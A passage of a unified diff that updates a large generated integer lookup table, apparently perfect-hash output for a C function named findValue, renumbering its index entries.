-       -1,  -1, 445,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 446, 447, 448,  -1,  -1,
-       -1, 449,  -1,  -1,  -1,  -1,  -1, 450,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      451, 452,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 453,  -1,  -1,  -1,  -1, 454,  -1,
+       -1,  -1,  -1, 534,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 535,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 536,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 455,  -1,  -1,
-       -1, 456,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      457,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 458,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 537,  -1,  -1,  -1, 538,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 539,  -1,  -1,
+       -1, 540,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 459,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 460,
-       -1,  -1,  -1,  -1,  -1,  -1, 461,  -1,  -1,  -1,
-       -1, 462, 463,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 464,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 465,  -1,  -1,  -1,
+      541,  -1,  -1,  -1,  -1, 542,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 466,  -1,  -1,  -1,
+       -1,  -1,  -1, 543,  -1, 544,  -1,  -1,  -1,  -1,
+      545,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 546,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 547,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 467,  -1,  -1,
-       -1, 468,  -1,  -1,  -1,  -1,  -1, 469,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 548,  -1,  -1, 549,  -1,  -1,  -1,  -1,
+      550,  -1, 551,  -1,  -1,  -1,  -1, 552,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 553,  -1,  -1,  -1,
+       -1,  -1, 554,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 470,  -1,  -1,
-       -1, 471,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 555,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 472,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 556,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 557,
+       -1,  -1, 558, 559,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 473,  -1,  -1,  -1,  -1,  -1,  -1,
-      474,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 560,  -1,  -1,  -1,
+       -1,  -1,  -1, 561,  -1, 562,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      475, 476,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 477,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 478,  -1,  -1,
-       -1, 479,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 480,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 481,  -1,
-      482,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 483,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 484,  -1, 485,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1634,166 +1784,157 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 486,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 563,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 487,  -1,  -1,
-       -1,  -1,  -1,  -1, 488,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 489,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 564,  -1,  -1, 565,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 490,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 491,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 566,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 492,  -1,  -1,  -1,  -1,
+       -1, 567,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 568,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 569,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 570,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 493,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 494,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 495,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 496,  -1,  -1,
-       -1,  -1, 497,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 498,  -1,
-       -1,  -1,  -1, 499,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 571,  -1,  -1,  -1,
+       -1,  -1, 572,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 500, 501,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      502,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 503,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 504,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 505,  -1,  -1,
-       -1,  -1, 506,  -1,  -1,  -1,  -1,  -1, 507,  -1,
-       -1,  -1,  -1, 508,  -1,  -1,  -1, 509,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 510,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 511,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 573,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 512,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 574,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 575,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 513,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 514,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 515,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 516,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 517,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 518, 519,  -1,
+       -1, 576,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 577,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 520,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 521,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 522,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1, 523,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 524, 525,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 526,  -1,
+       -1,  -1, 578,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 579,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1, 527,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 580,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+      581,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 582,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      528,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 583,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1, 529,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 584,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 585,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1, 586,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 587,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 530,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 588,
+       -1,  -1, 589,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 590,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 591,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 592,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 593,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 531,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1, 532,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 533,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 534,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 594,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 595,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 596,  -1, 597,  -1,  -1,  -1,  -1, 598,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 599,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1,  -1, 600,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1, 601,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 535,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 536,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 537,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 602,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 603,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 538,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 604,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1804,11 +1945,8 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1, 539,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1, 540,  -1,
-       -1,  -1,  -1,  -1,  -1, 541,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1818,12 +1956,14 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1, 605,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1, 606,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1836,8 +1976,8 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1,  -1,  -1,  -1,  -1, 542,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 607,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1858,7 +1998,6 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      543,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1879,9 +2018,9 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      544,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1,  -1,  -1,  -1,  -1,  -1, 608,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1893,7 +2032,6 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-      545,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1919,6 +2057,7 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
+       -1, 609,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
@@ -1926,13 +2065,13 @@ findValue (register const char *str, register unsigned int len)
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
-       -1,  -1,  -1, 546,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
        -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,  -1,
